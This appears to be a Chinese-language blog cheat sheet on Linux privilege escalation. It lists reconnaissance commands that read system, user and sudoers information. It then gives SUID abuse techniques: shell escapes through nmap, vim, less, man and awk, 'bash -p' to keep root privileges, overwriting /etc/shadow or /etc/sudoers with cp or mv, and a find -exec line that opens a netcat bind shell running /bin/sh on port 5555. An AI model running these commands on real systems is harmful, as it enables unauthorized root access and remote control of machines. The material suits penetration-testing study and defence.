0%

Linux 提权

信息搜集#

基本信息#

1
2
3
4
5
6
7
8
9
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息

用户和群组权限#

1
2
3
4
5
6
7
8
9
10
11
12
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E "^# " /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

环境信息#

1
2
3
4
5
6
7
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell

SUID提权#

以下可执行文件可以进行SUID提权

1
2
3
4
5
6
7
8
nmap
vim
find
bash
more
less
nano
cp

搜索SUID可执行文件

1
find / -perm -u=s -type f 2>/dev/null

nmap#

查看版本,需要版本范围在(2.02-5.21)之间

1
2
nmap -V 启动交互模式
nmap> !sh

Vim#

1
2
3
4
vim 
# Press ESC key
:set shell=/bin/sh
:shell

find#

1
2
3
4
5
touch pentestlab
find pentestlab -exec whoami \;
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

外界连接服务器5555端口即可,反斜杠为转义用

Bash#

1
2
3
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

Less#

1
2
less /etc/passwd
!/bin/sh

cp#

使用cp覆盖 /etc/shadow

mv#

使用mv 覆盖 /etc/shadow 或者/etc/sudoers

awk#

1
awk 'BEGIN {system("/bin/bash")}'

man#

1
2
man passwd
!/bin/bash

辅助提权工具#

参考#

坚持原创技术分享,您的支持将鼓励我继续创作!